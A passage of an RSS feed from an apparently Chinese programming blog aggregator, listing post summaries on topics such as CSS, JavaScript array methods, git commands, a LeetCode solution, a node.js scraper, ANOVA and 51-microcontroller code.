getRowCount(int sheetIx) { //xlsx格式。将SXSSFWorkbook转成XSSFWorkbook，再获取XSSFSheet if (isXlsx) { XSSFSheet sheet = ((SXSSFWorkbook) workbook).getXSSFWorkbook().getSheetAt(sheetIx); return sheet.</description>
    </item>
    <item>
      <title>C#/WPF入门到多项目实战开发教程4——主界面</title>
      <link>https://bchobby.github.io/posts/5bd49df47bc59d631c32a3528610e617/</link>
      <pubDate>Wed, 01 Feb 2023 22:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bd49df47bc59d631c32a3528610e617/</guid>
      <description> 主界面 主界面样式 资源字典 新建窗体退出按钮的资源字典 在窗体中添加资源字典 </description>
    </item>
    <item>
      <title>自学CSS总结</title>
      <link>https://bchobby.github.io/posts/f5cec6592a52514c262397cc7468cb7a/</link>
      <pubDate>Wed, 01 Feb 2023 19:11:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5cec6592a52514c262397cc7468cb7a/</guid>
      <description>1.CSS的导入方式 1.1 行内样式 &amp;lt;!-- 行内样式: 在标签元素中, 编写一个style属性, 编写样式即可 --&amp;gt; &amp;lt;h1 style=&#34;color: blue;&#34;&amp;gt;行内样式&amp;lt;/h1&amp;gt; 1.2 内部样式 &amp;lt;!-- 内部样式 --&amp;gt; &amp;lt;style&amp;gt; h1 { color: yellow;&#x9;} &amp;lt;/style&amp;gt; 1.3 外部样式 &amp;lt;!-- 外部样式 --&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/sheet1.css&#34;&amp;gt; 优先级: 外部样式 &amp;lt; 内部样式 &amp;lt; 行内样式 遵循就近原则. 拓展: 外部样式有两种写法: 链接式: &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;css/sheet1.css&#34;&amp;gt; 导入式: CSS2.1 特有的 &amp;lt;style&amp;gt; @import url(&#34;css/sheet1.css&#34;); &amp;lt;/style&amp;gt; 2.选择器 作用: 选择页面的某一个或者某一类元素&#xA;2.1 基本选择器 1.标签选择器: 选择一类标签: {}&#xA;/** 标签选择器: 会选到页面上所有的这个标签的元素 */ h1 { color: cadetblue; background-color: blue; border-radius: 24px;/**圆角的边框*/ } p { background-color: aquamarine; } 类选择器class : 选择所有class 属性值一致的标签, 跨标签 .</description>
    </item>
    <item>
      <title>8【简单】寻找数组的中心下标</title>
      <link>https://bchobby.github.io/posts/d997bb4362957ec4a0f437b8511ba64c/</link>
      <pubDate>Wed, 01 Feb 2023 18:36:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d997bb4362957ec4a0f437b8511ba64c/</guid>
      <description>一、题目描述 给你一个整数数组 nums ，请计算数组的 中心下标 。&#xA;数组 中心下标 是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。&#xA;如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于数组最右端同样适用。&#xA;如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1 。&#xA;二、解题思路过程 /** * @param {number[]} nums * @return {number} */ var pivotIndex = function(nums) { /** (a,b)=&amp;gt;a+b 等价于 function(a,b){ return a+b; } reduce()简单用法，两个参数： 第一个参数放用于执行数组元素的函数； 第二个参数为可选值，是传递给函数的初始值，相当于在吧total传递给函数之前，令total=0。 */ var total=nums.reduce((a,b)=&amp;gt;a+b,0); var sum=0; // 遍历数组 for(var i=0;i&amp;lt;nums.length;i++){ sum=sum+nums[i]; // 因为要找到数组的中心下标，所以total应当等于左边或右边加和的二倍和再加中心数 // 而这里先将nums[i]加入到sum之中，再进行判断，则sum中重复计算了一个nums[i]，所以应当减掉一个nums[i] // 再使其与total相等 if(total-sum==sum-nums[i]){ return i; }; }; return -1; }; 三、复杂度分析 时间复杂度：，n为数组nums的长度。&#xA;空间复杂度：，使用的额外空间复杂度为常数。</description>
    </item>
    <item>
      <title>解决Logitech G HUB卡在一直在加载问题解决方法</title>
      <link>https://bchobby.github.io/posts/62afbd7ff229fa55d9b0a24cd519fb40/</link>
      <pubDate>Wed, 01 Feb 2023 17:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62afbd7ff229fa55d9b0a24cd519fb40/</guid>
      <description>图文教程请参考我的个人博客: https://zy.itwk.cc/archives/209.html&#xA;今天遇到了G HUB一直在加载，怎么也进不去，一直在转可能是由于杀毒软件或其他优化的软件把罗技的自动更新服务关了，导致G Hub在启动的的时候一直等待服务启动。&#xA;解决方法： 启动 LGHUB Updater Service 服务 1、按下 “Windows+R”键 搜索 输入 services.mac 【回车】 或者 点开搜索框，搜索**“服务”** 然后打开&#xA;2、在弹出的服务管理窗口中 找到 一个名为 &#34;LGHUB Updater Service&#34;的服务 双机打开&#xA;3、将启动类型更改为自动 即可解决问题</description>
    </item>
    <item>
      <title>【JavaScript】数组操作</title>
      <link>https://bchobby.github.io/posts/9378aa20c358fb65e8412a3577be4521/</link>
      <pubDate>Wed, 01 Feb 2023 17:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9378aa20c358fb65e8412a3577be4521/</guid>
      <description>一、改变原始数组的方法： 1、pop()&#xA;删除 arrayObject 的最后一个元素，把数组长度减 1，并且返回它删除的元素的值。如果数组已经为空，则 pop() 不 改变数组，并返回 undefined 值。arrayObject.pop() 。&#xA;2、push()&#xA;push() 方法可把它的参数顺序添加到 arrayObject 的尾部。它直接修改 arrayObject，而不是创建一个新的数组，arrayObject.push(newelement1,newelement2,….,newelementX) 。&#xA;3、reverse()&#xA;该方法会改变原来的数组----将原来的数组倒序，而不会创建新的数组。arrayObject.reverse()。&#xA;4、shift()&#xA;删除数组的第一个元素，并返回第一个元素的值,如果数组是空的，那么 shift() 方法将不进行任何操作。&#xA;5、unshift()&#xA;unshift() 方法可向数组的开头添加一个或更多元素，并返回新的长度。arrayObject.unshift(newelement1,newelement2,….,newelementX)返回arrayObject 的新长度。&#xA;6、sort()&#xA;对数组的引用。请注意，数组在原数组上进行排序，不生成副本。arrayObject.sort(sortby) (如果调用该方法时没有使用参数，将按字母顺序对数组中的元素进行排序，说得更精确点，是按照字符编码的顺序进行排序。要实现这一点，首先应把数组的元素都转换成字符串（如有必要），以便进行比较。 如果想按照其他标准进行排序，就需要提供比较函数，该函数要比较两个值，然后返回一个用于说明这两个值的相对顺序的数字。比较函数应该具有两个参数 a 和 b，其返回值如下：&#xA;若 a 小于 b，在排序后的数组中 a 应该出现在 b 之前，则返回一个小于 0 的值。 若 a 等于 b，则返回 0。 若 a 大于 b，则返回一个大于 0 的值。) 7、splice()&#xA;splice() 方法可删除从 index 处开始的零个或多个元素，并且用参数列表中声明的一个或多个值来替换那些被删除的元素。 如果从 arrayObject 中删除了元素，则返回的是含有被删除的元素的数组 arrayObject.splice(index,howmany,item1,…..,itemX) 。&#xA;二、不改变原始数组的方法： 1、concat()</description>
    </item>
    <item>
      <title>三种JS截取字符串方法 slice(),substring()和substr()</title>
      <link>https://bchobby.github.io/posts/68b8e7606e65c39ee11a15d649a4a2ff/</link>
      <pubDate>Wed, 01 Feb 2023 15:11:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68b8e7606e65c39ee11a15d649a4a2ff/</guid>
      <description>JS提供三个截取字符串的方法,分别是:slice(),substring()和substr(),它们都可以接受一个或两个参数:&#xA;var stmp = “rcinn.cn”;&#xA;使用一个参数 alert(stmp.slice(3));//从第4个字符开始,截取到最后个字符;返回&#34;nn.cn&#34; alert(stmp.substring(3));//从第4个字符开始,截取到最后个字符;返回&#34;nn.cn&#34; slice 语法&#xA;string.slice(start,end) 不包括end&#xA;参数 描述&#xA;start 必须。 要抽取的片断的起始下标，第一个字符位置为 0。如果为负数，则从尾部开始截取。 end 可选。&#xA;紧接着要截取的片段结尾的下标。若未指定此参数，则要提取的子串包括 start。&#xA;end到原字符串结尾的字符串。如果该参数是负数，那么它规定的是从字符串的尾部开始算起的位置。slice(-2)。&#xA;表示提取原数组中的倒数第二个元素到最后一个元素（包含最后一个元素）。&#xA;切割字符串&#xA;var a = &#39;stings&#39;; console.log(a.slice()) //stings console.log(a.slice(1)) //tings console.log(a.slice(1,2)) // t console.log(a.slice(-1)) //s console.log(a.slice(1,-1)) // ting 切割数组&#xA;var arr = [1,2,3,4,5]; console.log(arr.slice(1));//[2,3,4,5] 选择序列号从1到最后的所有元素组成的新数组。 console.log(arr.slice(1,3))//[2,3] 不包含end，序列号为3的元素 substr 所有主要浏览器都支持 substr() 方法&#xA;语法&#xA;string.substr(start,length)&#xA;参数值&#xA;start 必需。要抽取的子串的起始下标。必须是数值。如果是负数，那么该参数声明从字符串的尾部开始算起的位置。也就是说，-1 指字符串中最后一个字符，-2 指倒数第二个字符，以此类推。&#xA;length 可选。子串中的字符数。必须是数值。如果省略了该参数，那么返回从 stringObject 的开始位置到结尾的字串。&#xA;var str=&#34;Hello world!&#34;; console.log(str.substr()) //Hello world!</description>
    </item>
    <item>
      <title>uniAPP-- IOS原生APP插件项目，使用pod引入第三方依赖。测试，打包过程。</title>
      <link>https://bchobby.github.io/posts/b7fa1288ac39333be89fe9dc972eaea8/</link>
      <pubDate>Wed, 01 Feb 2023 12:21:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7fa1288ac39333be89fe9dc972eaea8/</guid>
      <description> 1，改造原有IOS-APP主项目为pod 项目 需要使用Cocoapods， Cocoapods 的安装，请自行百度。 打开终端，CD到APP主项目所在的目录。&#xA;终端中 输入 pod init 回车。&#xA;在项目所在目录会产生一个podfile文件，如下。&#xA;打开podfile文件中 添加依赖。 具体添加方法，参考下方示例说明。&#xA;# swift语言的版本 ENV[&#39;SWIFT_VERSION&#39;] = &#39;5&#39; # 支持的平台 platform :ios, &#39;13.0&#39; target &#39;HBuilder&#39; do # Comment the next line if you don&#39;t want to use dynamic frameworks use_frameworks! # Pods for HBuilder 添加第三方依赖 pod &#39;依赖名称&#39;, &#39;版本&#39; end 添加第三方依赖后，继续在之前的终端（注意终端路径应在项目所在位置），输入 pod install 回车。 这时候会自动安装下载依赖。 成功后，会多出下面的一个后缀为xcworkspace的文件。&#xA;然后，打开这个后缀为xcworkspace的文件，即便完成了pod项目的改造。&#xA;2，插件项目中使用第三方依赖，以及构建插件包。 需要注意pod已经把第三方依赖添加到了IOS-APP主项目中。 不需要在插件项目中再次引用。 插件中使用 直接 #import 包含对应的.h文件即可。 插件测试开发测试完成，构建插件包的时候，需要把pod依赖的第三方库，放到插件包对应的ios文件夹下，并根据规范编辑package.json文件。 </description>
    </item>
    <item>
      <title>查找可用串口(Windows&#43;Linux平台)</title>
      <link>https://bchobby.github.io/posts/62d0788f57877254cad7202a9bc6d620/</link>
      <pubDate>Wed, 01 Feb 2023 12:15:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62d0788f57877254cad7202a9bc6d620/</guid>
      <description># 查找可用串口(Windows+Linux平台) def serial_ports(): &#34;&#34;&#34; Lists serial port names :raises EnvironmentError: On unsupported or unknown platforms :returns: A list of the serial ports available on the system &#34;&#34;&#34; if sys.platform.startswith(&#39;win&#39;): ports = [&#39;COM%s&#39; % (i + 1) for i in range(256)] elif sys.platform.startswith(&#39;linux&#39;) or sys.platform.startswith(&#39;cygwin&#39;): # this excludes your current terminal &#34;/dev/tty&#34; ports = glob.glob(&#39;/dev/tty[A-Za-z]*&#39;) elif sys.platform.startswith(&#39;darwin&#39;): ports = glob.glob(&#39;/dev/tty.*&#39;) else: raise EnvironmentError(&#39;Unsupported platform&#39;) result = [] for port in ports: try: s = serial.</description>
    </item>
    <item>
      <title>方差分析-单因素方差分析示例 (Between Subjects)</title>
      <link>https://bchobby.github.io/posts/ae2d7f264c7a275ec38cbea73063aa0f/</link>
      <pubDate>Wed, 01 Feb 2023 11:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae2d7f264c7a275ec38cbea73063aa0f/</guid>
      <description>目录&#xA;1、从一个例子出发&#xA;2、建立零假设&#xA;3、什么是MSE和MSB&#xA;4、样本大小&#xA;5、计算MSE&#xA;6、计算MSB&#xA;7、比较MSE和MSB&#xA;8、分析差异的来源&#xA;本文将从一个例子（“微笑宽容实验”）出发，详细介绍单因素方差分析的原理。&#xA;1、从一个例子出发 有证据表明，微笑可以减弱人们对他人错误行为的判断，比如在法院上被告的微笑可能带来更少的惩罚。”微笑宽容实验“就是来研究不同类型的微笑带来的宽容程度是否有差异。在这个研究中，136名受试者被分到了4个不同的组，每组受试者会被展示不同微笑类型的图片（false、felt、miserable和neutral）。每位受试者都会给图片打一个score，用来代表受试者对图片里微笑的宽容程度。数据源在此。&#xA;2、建立零假设 方差分析的零假设为所有组别的总体均值都相等，即： 其中H0代表零假设，k代表组别。在“微笑宽容实验”中，k=4，并且零假设为：&#xA;如果零假设被拒绝，则表明至少有一个组的总体均值与其他组是不同的。&#xA;3、什么是MSE和MSB 方差分析是通过分析方差来检测均值差异的一种统计学方法。这种检测方法基于两种对总体均值（）的估计。一种估计是基于分组内部得分的差异，被称为组内均方或误差均方（Mean Square Error，MSE）。无论零假设是否为真（总体均值相等），MSE都可以用来估计。另一种估计是基于组间均值之间的差异，被称为组间均方（Mean Square Between，MSB）。只有在总体均值相等时，MSB才能准确估计。如果总体均值不想等，MSB的估计值将会大于。因此，如果MSB比MSE大得多，那么总体均值是不太可能相等的。但是，如果MSB和MSE的值差不多，那么总体均值相等的零假设是成立的。&#xA;在计算MSE和MSB之前，需要先介绍方差分析的前提假设：&#xA;1）方差齐性（homogeneity of variance）：总体方差是相等的。&#xA;2）正态分布（normally distributed）：总体服从正态分布。&#xA;3）样本独立（independent sample）：每一个样本值都是独立与其他样本值的。这个假设要求每名受试者只能提供一个样本值，因为如果一名受试者提供了两个样本值，那么这两个值必然不是独立的（这属于within-subjects ANOVA，不在本节内容中）。&#xA;以上假设对于双样本t检验也是一样的。&#xA;在“微笑宽容实验”中，首先需要计算4个组别的均值和方差：&#xA;ConditionMeanVarianceFalse5.3683.338Felt4.9122.825Miserable4.9122.113Neutral4.1182.319 表1 “微笑宽容实验”各组的均值和方差&#xA;4、样本大小 后续方差分析的前提是每组受试者的数量是相等的（不相等的分析不在本篇考虑内）。我们用n来表示每组的受试者数量，用N来表示所有的受试者数量。在“微笑宽容实验”中，受试者被分到了4个组别，每个组别都是34人，所以我们有n=34，N=136。&#xA;5、计算MSE 我们前面做了方差齐性的假设，即假设每个组别的总体方差（）都是相等的。这个就是MSE的估计值，我们可以通过计算样本方差的均值来得到：&#xA;6、计算MSB 对于样本均值抽样分布的方差（），有以下公式：&#xA;其中n是每组的样本数量。通过变换，可以得到：&#xA;因此，如果我们知道了，再乘以n就得到了总体方差。尽管我们不知道样本均值抽样分布的方差，我们可以通过样本均值的方差来估计它。对于“微笑宽容实验”，4个样本均值的方差为：&#xA;这里VAR.S()表示计算样本方差。&#xA;总结一下MSB的计算步骤：&#xA;1）计算样本均值&#xA;2）计算样本均值的方差&#xA;3）样本均值的方差乘以n&#xA;扼要重述&#xA;如果总体均值是相等的，那么MSE和MSB都可以认为是的准确估计，并且二者的值应当是相等的。当然，二者不会完全相等，因为他们是通过数据的不同角度计算得出的：MSB通过样本均值计算得出，而MSE通过样本方差计算得出。&#xA;当总体均值不相等时，MSE仍可以有效的估计，因为MSE是通过样本方差计算得到的，而总体均值的差异不会影响样本方差。但是，总体均值的差异会影响MSB对的估计，因为总体均值的差异与样本均值之前的差异是相关的。因此，如果样本均值之间的差异越大，MSB也会越大。&#xA;简而言之，无论总体均值是否相等，MSE都可以用来估计。然而，只有在样本均值相等的条件下，MSB才可以用来估计，并且当总体均值不相等时，MSB的估计值会偏大。&#xA;7、比较MSE和MSB 比较MSE和MSB是方差分析中至关重要的一步。既然当总体均值不相等时，MSB会比MSE的估计值更大，那么当计算出的MSB值比MSE值更大时，也就说明了总体均值是不相等的。但是即使当总体均值是相等的时候，也会偶然地发生MSB比MSE要大的情况，所以想要得到可靠的结论，MSB必须比MSE大的足够多。但是多大的MSB才算大呢？对于“微笑宽容实验”的数据来说，MSB 和MSE分别为9.178和2.649，这个差异足够大吗？为了回答这一问题，我们需要知道如果总体均值是相等的，达到这一差距或更大差距的概率是多少。统计学家Fisher从数学上回答了这一问题。尽管与Fisher最初的公式形式略有不同，但是确定概率的标准方法是都是基于MSB与MSE的比率。这个比率以Fisher命名，称为 F ratio。&#xA;对于“微笑宽容实验”的数据，F ratio为：&#xA;因此，MSB是MSE的3.465倍。如果所有组别的总体均值都是相等的，有可能得到这个结果吗？回答这个问题还要考虑样本数量。当样本数量很小时，得到这样的结果不足为奇，因为结果是不稳定的。可是，当样本数量很大时，MSB和MSE的值基本是不会改变的，所以F ratio为3.465或者更大是反常的。图1展示了“微笑宽容实验”的样本数量下，F的抽样分布。可以看到，分布是正偏态的。&#xA;图1 F的分布&#xA;从图1可以看出，3.465或更大的F ratio是反常现象。3.465右侧黑色区域的面积，代表得到此F或者更大F的概率，这个概率值为0.018。换句话说，零假设“总体均值是相等的”的概率值（p value）为0.018，所以我们可以拒绝零假设。于是，我们得到结论：至少有一个组的总体均值是不同于其他组的。&#xA;F分布的形状取决于样本数量。更准确地说，分布的形状取决于两个自由度（df）：一个是分子的自由度（MSB），另一个是分母的自由度（MSE）。我们都知道方差估计值的自由度等于样本数量减一，MSB是k个均值的方差估计，所以它的自由度为k-1。MSE是k个方差的均值，每个方差的自由度都是n-1，所以MSE的自由度为k(n-1)=N-k，其中N代表总样本数量，n代表每组的样本数量，k代表组数。总结如下：&#xA;对于“微笑宽容实验”，我们有：</description>
    </item>
    <item>
      <title>Java 互相关联的实体无限递归问题的解决</title>
      <link>https://bchobby.github.io/posts/270f3e99d9343775bb02189d3b84a6d1/</link>
      <pubDate>Wed, 01 Feb 2023 11:11:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/270f3e99d9343775bb02189d3b84a6d1/</guid>
      <description>Java 互相关联的实体无限递归 今天在测试的时候出现了一个bug，在把关联实体序列化返回的过程中报错了，提示&#xA;Caused by: java.lang.StackOverflowError: null 这个是堆栈溢出错误，根据错误线索查找，最后发现Column和Table实体互相关联，也就是说 Column实体中有Table属性，Table实体中也有Column属性，导致了在序列化的过程中出现了死循环，无限递归，以至堆栈溢出报错。&#xA;在Jackson2.0以前的解决办法是 在关联的属性上添加&#xA;@JsonBackReference 或者&#xA;@JsonIgnore 注解中的一个即可。但是从Jackson2.0以后的版本开始，提供@JsonIdentityInfo注解实现这个问题的解决，在实体类前加注解&#xA;@JsonIdentityInfo(generator=ObjectIdGenerators.IntSequenceGenerator.class, property=&#34;@id&#34;) 好好理解Java中的递归 递归的思想 把规模大的问题转化为规模小的相似的子问题来解决。在函数实现时，因为解决大问题的方法和解决小问题的方法往往是同一个方法，所以就产生了函数调用它自身的情况。另外这个解决问题的函数必须有明显的结束条件，这样就不会产生无限递归的情况了。 一句话总结：递归就是自己调用自己。&#xA;递归的条件要素 1、递归有两个重要条件&#xA;可以通过递归调用来缩小问题规模，且新问题与原问题有着相同的形式。（自身调用）&#xA;存在一种简单情境，可以使递归在简单情境下退出。（递归出口）&#xA;2、递归的三要素&#xA;尝试将一个问题化简到更小的规模&#xA;父问题与子问题不能有重叠的部分&#xA;一定有一种可以退出程序的情况&#xA;递归的算法结构 递归的常用算法伪代码如下：&#xA;func( mode){ if(endCondition){ //递归出口 end; }else{ func(mode_small) //调用本身，递归 } } 递归实战举例 递归讲起来还是有点小抽象，我们直接来看代码 1、斐波那契数的递归实现 斐波那契数列的递推公式：Fib(n)=Fib(n-1)+Fib(n-2)，生成数列（1、1、2、3、5、8...）。&#xA;public static int fib(int n) throws Exception { if (n &amp;lt; 0){ throw new Exception(&#34;请输入正确的参数&#34;); } else if (n == 0 || n == 1){ return n; } else { return fib(n - 1) + fib(n - 2); // 调用自己 } } 2、99乘法表的递归实现</description>
    </item>
    <item>
      <title>node.js爬虫</title>
      <link>https://bchobby.github.io/posts/277a505e281f78fc2a5c47d4fb523692/</link>
      <pubDate>Wed, 01 Feb 2023 10:49:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277a505e281f78fc2a5c47d4fb523692/</guid>
      <description>一、node.js爬虫 爬虫: 表示通过服务器端抓取或者获取前端网页中的数据，以下是node.js爬虫的步骤 1.nodejs 爬取网页数据利用http模块中的get方法，http.get(‘爬取的网页url地址’,(req)=&amp;gt;{})&#xA;2.爬取的网页需要借助第三方的一个插件cheerio，该插件可以将网页中的数据拿出来，npm install cheerio&#xA;二、代码 const http = require(&#39;http&#39;); const cheerio = require(&#39;cheerio&#39;); const fs = require(&#39;fs&#39;); const app = http.createServer((req, res) =&amp;gt; { http.get(&#39;http://www.17989.com/xiaohua/&#39;, (newReq) =&amp;gt; { let str = &#39;&#39; newReq.on(&#39;data&#39;, (chunk) =&amp;gt; { str += chunk }) newReq.on(&#39;end&#39;, () =&amp;gt; { let $ = cheerio.load(str) //1. 定义一个数组,将数据存放到数组中 let arr = []; //[{title:&#39;笑话标题&#39;,content:&#39;笑话内容&#39;},{title:&#39;笑话标题&#39;,content:&#39;笑话内容&#39;}] $(&#39;.hd&#39;).each((i, v) =&amp;gt; { arr.push({ &#39;title&#39;: $(v).text(), &#34;content&#34;: $(v).next().text() }) }); // 2.</description>
    </item>
    <item>
      <title>JS如何实现勾选全部复选框和不全选复选框</title>
      <link>https://bchobby.github.io/posts/9fe74317172ee62939c2ebc9557d0fe0/</link>
      <pubDate>Wed, 01 Feb 2023 09:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fe74317172ee62939c2ebc9557d0fe0/</guid>
      <description>前言 在一些后台管理系统里面,针对全选,复选框是一个很常见的操作,复选框可以执行多项选择的一种控件,有时，为了方便用户选中所有的复选框,网页界面&#xA;会提供一个选中所有复选框的功能,怎么实现一个复选框全部被选中的效果呢&#xA;示例效果&#xA;allcheckbox 原生Js&#xA;实现全选的效果,复选框是否被勾选,是由它的checked属性决定的,因此,实现本例效果的关键就是找到所有对应的复选框,然后将其它的checked属性设置为true或false实现全选或全不选&#xA;如下实现一个简易的全选功能&#xA;// 选择所有函数 function checkAll(c) { var arr = document.getElementsByTagName(&#34;myname&#34;); if(c) { // 遍历所有的复选框 for(var i = 0;i&amp;lt;arr.length;i++) { arr[i].checked = true; // 选中 } }else { // 遍历所有的复选框 for(var i = 0;i&amp;lt;arr.length;i++) { arr[i].checked = false; // 不选中 } } } 如下是html&#xA;&amp;lt;input type=&#34;checkbox&#34; name=&#34;mayall&#34; onclick=&#34;checkAll(this.checked)&#34; /&amp;gt;全选&amp;lt;br /&amp;gt; &amp;lt;input type=&#34;checkbox&#34; name=&#34;myname&#34; /&amp;gt;前端&amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;input type=&#34;checkbox&#34; name=&#34;myname&#34; /&amp;gt;后端&amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;input type=&#34;checkbox&#34; name=&#34;myname&#34; /&amp;gt;小程序 Vue版本实现</description>
    </item>
    <item>
      <title>常用git命令总结大全</title>
      <link>https://bchobby.github.io/posts/28602c64c3c6937491186702b569556c/</link>
      <pubDate>Tue, 31 Jan 2023 22:42:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28602c64c3c6937491186702b569556c/</guid>
      <description>目录&#xA;一、常用命令&#xA;1、git init&#xA;2、git add 文件名&#xA;3、git commit -m “备注”&#xA;4、git status 与 git diff&#xA;5、git show commit_id 查看某次修改&#xA;6、git log 与 git reflow&#xA;7、git pull (--rebase)&#xA;8、git push (-u) 与 git branch (-u)&#xA;9、git reset --hard 与 git cherry-pick&#xA;10、git checkout与git 分支&#xA;11、git help 与 git gui&#xA;二、撤销修改&#xA;1、撤销工作区修改(尚未add，尚未commit)&#xA;2、撤销暂存区修改(已经add，尚未commit)&#xA;3、撤销版本库修改(已经commit，尚未推送到远程)&#xA;4、版本回退&#xA;三、删除文件&#xA;四、远程仓库&#xA;1、连上远程库&#xA;2、本地向远程推送内容&#xA;3、远程库的所有内容推送到本地库上&#xA;五、分支管理&#xA;1、基础命令&#xA;2、解决冲突&#xA;3、分制管理策略(禁掉快进模式)&#xA;4、BUG分支&#xA;5、Feature分支&#xA;6、多人协作&#xA;六、忽略上传&#xA;1、忽略上传&#xA;2、忽略更新上传</description>
    </item>
    <item>
      <title>51单片机的温湿度检测控制系统（仿真&#43;程序&#43;报告&#43;原理图）</title>
      <link>https://bchobby.github.io/posts/571c80747188dbdf151af9bf8d2d1b3c/</link>
      <pubDate>Tue, 31 Jan 2023 22:26:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/571c80747188dbdf151af9bf8d2d1b3c/</guid>
      <description>1、主要功能 该系统由AT89C51单片机+LCD1602模块+DHT11温湿度传感器模块+DS1302时间模块+电机驱动模块+报警模块构成。&#xA;可实现功能:&#xA;1、LCD1602显示温度+湿度+时间&#xA;2、DHT11采集温湿度数据&#xA;3、DS1302采集时间数据&#xA;4、通过按键来调整温湿度上下限报警值&#xA;5、超出限制时蜂鸣器和LED光电报警，对应继电器驱动电机转动，进行加热/降温/除湿/加湿&#xA;2、仿真 protues 仿真使用的是8.10版本，由于该软件版本迭代原因，不能确保其他版本软件能够正常运行，请安装好对应软件（版本一致或者高于这个版本都可以）&#xA;3、程序代码 只是放上来了部分代码，仅供参考。&#xA;/****************************************************** ** 函数名：key_scan ** 描述 ：按键扫描 ** 输入 ：无 ** 输出 ：无 ******************************************************/ void key_scan(void) { static unsigned char key_in_flag = 0;//按键按下标志 unsigned char key_l;//存储扫描到行列值。 key_value = 20;//按键值清除 if((P3 &amp;amp; 0x0f) != 0x0f)//按键按下 { delay_ms(1);//按键消抖动 if(((P3 &amp;amp; 0x0f) != 0x0f) &amp;amp;&amp;amp; (key_in_flag == 1)) { key_in_flag = 0;//松手检测防止一直触发 P3 = 0x0f; //delay_ms(1);//按键消抖动 key_l = P3;//扫描得到按键值 switch(key_l) { //获取按键值 case 0x0e: { key_value = 1; } break; case 0x0d: { key_value = 2; } break; case 0x0b: { key_value = 3; } break; //case 0x70: //break; } } } else { key_in_flag = 1;//(按键松开标志) } } /******************************************************************************* * 函 数 名 : LcdWriteCom * 函数功能&#x9;: 向LCD写入一个字节的命令 * 输 入 : u8com * 输 出 : 无 *******************************************************************************/ void lcd_wri_com(unsigned char com)&#x9;//写入命令 { E = 0;&#x9;//使能清零 RS = 0;&#x9;//选择写入命令 RW = 0;&#x9;//选择写入 DB = com; delay_ms(1); E = 1;&#x9;//写入时序 delay_ms(5); E = 0; } void main(void) { get_1302(time_1302);//获取时间 change(); //时间转换 init_all_hardware();//初始化硬件，IO和定时器 while(1) { get_1302(time_1302);//获取时间 change(); //时间转换 if(temp ==0) { wri_string(1,0,times);//初始化显示 } key_scan();//按键扫描 key_service();//按键服务处理函数 time_service();//时间处理函数 } } 4、原理图 5、参考报告 内含5k字，21页的相关报告一份，纯手打，内容一致</description>
    </item>
    <item>
      <title>slcan 协议 脚本 测试</title>
      <link>https://bchobby.github.io/posts/286a7834ada9292f73a2681395564c10/</link>
      <pubDate>Tue, 31 Jan 2023 20:49:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/286a7834ada9292f73a2681395564c10/</guid>
      <description>文章目录 slcan 协议kernel slcancan-utils slcanptycan-utils slcandcan-utils slcan_attachpython slcan slcan 协议 slcan, 基于文本 ASCII 的协议, 也是 LAWICEL 硬件设备的协议, CAN Tools by LAWICEL 有两种硬件设备:&#xA;CANUSB: 目前是 2011 年的 Version 1.0DCAN232: 目前是 2023 年的 Version 3.0B 协议有细微差别, 整体不大, 以 CANUSB 为例:&#xA;所有命令 \r 结尾, 大小写敏感, 设备一般会返回 信息 或者 状态 ( \r 表示 OK, 或者 \b 表示 ERROR)Sn\r, 设置 Setup 标准 CAN 的位速率, 其中 n 取 0~8, 对应 10,20,50,100,125,250,500,800,1000Kbit/s, 如想设置 500Kbit/s, 只需要通过串口给 slcan 设备发 S6\r 即可, 设备会返回 \r 表示 OK, 或者 \b 表示 ERRORO\r, 打开 Open CAN 通道, 返回值同上C\r, 关闭 Close CAN 通道, 返回值同上tiiildd.</description>
    </item>
    <item>
      <title>C&#43;&#43;使用sort排序</title>
      <link>https://bchobby.github.io/posts/fec3526da81157c50c453183fe3f551c/</link>
      <pubDate>Tue, 31 Jan 2023 20:09:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fec3526da81157c50c453183fe3f551c/</guid>
      <description>对于一个数组，通过对数组中的元素进行交换，我们可以将数组中的元素从小到大或从大到小进行顺序排列。当我们希望对数组中的元素进行排序时，我们可以使用C++为我们提供的工具-——sort。有了它，你再也不用纠结如何完成排序了。&#xA;sort是一个C++已经为我们实现好的工具，使用时，需要先引入一个算法的库——&amp;lt;algorithm&amp;gt;。需要说明的是，sort可以排序任何类型的元素，包括我们自己定义的结构体。&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; int main(){ int arr[]={2,4,5,3,5}; return 0; } 通过写：&#xA;sort(arr,arr+5); 我们可以将arr数组前五个元素进行由大到小的排序。&#xA;而如果写：&#xA;sort(arr+i,arr+j); 那么被排序的将会是arr[i]到arr[j]的元素，其他元素将保持原来位置。&#xA;如果希望是由大到小排，可以传入第三个参数——“排序方法”：&#xA;sort(arr,arr+5,greater&amp;lt;int&amp;gt;()); 其中greater是更大的意思，&amp;lt;int&amp;gt;表示待排序的数组元素类型。&#xA;完整代码为：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; int main(){ int arr[]={2,4,5,3,5}; sort(arr,arr+5); for(int i=0;i&amp;lt;5;i++){ cout&amp;lt;&amp;lt;arr[i]; } cout&amp;lt;&amp;lt;endl; 